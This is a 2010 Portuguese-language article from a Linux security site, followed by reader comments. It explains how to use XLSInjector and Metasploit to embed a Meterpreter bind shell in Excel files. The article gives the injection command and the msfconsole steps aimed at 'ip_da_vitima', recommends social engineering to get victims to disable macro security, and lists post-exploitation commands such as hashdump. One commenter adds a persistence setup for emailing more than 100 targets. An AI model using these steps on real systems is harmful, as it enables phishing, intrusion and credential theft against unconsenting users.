Visite também: Viva o Linux · Dicas-L · NoticiasLinux · SoftwareLivre.org



» Login
Login:
Senha:

Se você ainda não possui uma conta, clique aqui.

Esqueci minha senha


[Artigo] XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel

Linux user
luizvieira
23/06/2010
Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.
[ Hits: 11853 ] Por: Luiz Vieira

Preparação

Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.

Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.

Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:
Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:

# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls

Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.

Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.

Iniciamos o console do Metasploit:

# ./msfconsole

Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:

set payload windows/meterpreter/bind_tcp

Configuramos o payload corretamente, com seus parâmetros:

set RHOST ip_da_vitima
set RPOT 4444

E executamos:

exploit

Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:

Core Commands

Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel


Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands

Command Description
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands

Command Description
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components


Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database


Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes


Próxima página >>


Páginas do artigo
   1. Preparação
   2. Finalização

Outros artigos deste autor

Leitura recomendada

Comentários
[1] Comentário enviado por roberto_espreto em 25/06/2010 - 13:50h:

Excelente artigo Luis.

Só um adendo, o meterpreter também é um conjunto de dll's que são injectadas na memória ram do alvo, sendo assim acredito que seria "Saiba como injectar as DLL's do meterpreter em arquivos".
Hehehe mais jamais tira o brilho do seu artigo.
Você também cita para trocar de processo rapidamente pois o "alvo" pode fechar o xls, correto tem que se fazer isso mesmo, mais e se eu enviar varios xls, pra um monte de alvos distintos, digamos, mais de 100 emails? Não terei tempo o suficiente para migrar de processo em todos. Neste caso, pode se usar na configurações do msfconsole o comando AutoRunScript com o script persistence, ficando mais ou menos assim:

set payload windows/meterpreter/bind_tcp
set RHOST ip_da_vitima
set RPOT 4444
set AutoRunScript persistence
exploit

Ainda pode-se usar o multi/handler para múltiplos alvos.
Tenho certeza absoluta que você já sabe pra que serve o persistence, então deixo a dica ae pro pessoal que ainda conhece pouco do metasploit e seus recursos.
Digo novamente, bom tutorial Luis.

Abraços.

[2] Comentário enviado por luizvieira em 25/06/2010 - 14:25h:

Valeu pelas dicas, Roberto :-)
Ainda tá de pé aquele nosso projeto do lab?

[ ]'s
Luiz

[3] Comentário enviado por roberto_espreto em 28/06/2010 - 14:41h:

Fala Luiz,

Claro, vamos marcar uma hora pra conversarmos certinho sobre o projeto do lab!
Já tem meu e-mail, veja um dia que é tranquilo pra você e me avise, ai trocamos umas "ideias" e criamos.
Abraços.

Att,

®

[4] Comentário enviado por andrezc em 07/07/2010 - 10:37h:

Luiz, gostei do artigo! Conteúdo sobre Metasploit em pt-br é raridade :~

Parabéns, muito bom o artigo.

Abraços.

[5] Comentário enviado por pogo em 29/07/2010 - 09:58h:

Excelente texto! Como já disseram, textos de qualidade sobre Metasploit em português é raro :)

Porém, essa "compra" do Metasploit pela Rapid7 me preocupa um pouco... será que o Metasploit vai continuar livre?

[]'s
Pedro Pereira

[6] Comentário enviado por vinicius.almeida em 05/09/2010 - 22:21h:

Muito bacana seu artigo .. Parabens..

[7] Comentário enviado por Pedrog em 12/07/2011 - 19:43h:

Só uma duvida (geral sobre os payloads do metasploit) eles só funcionam em redes locais? Ou poderia usar IP externo para ataques?


Contribuir com comentário
  
Para executar esta ação você precisa estar logado no site, caso contrário, tudo o que for digitado será perdido.
Contribuir com: [ Artigo | Conf | Dica | Notícia ]
Responsáveis pelo site: Fábio Berbert de Paula / Rubens Queiroz de Almeida
Site hospedado por:

Segurança Linux

Site especializado em conteúdo de segurança para Linux.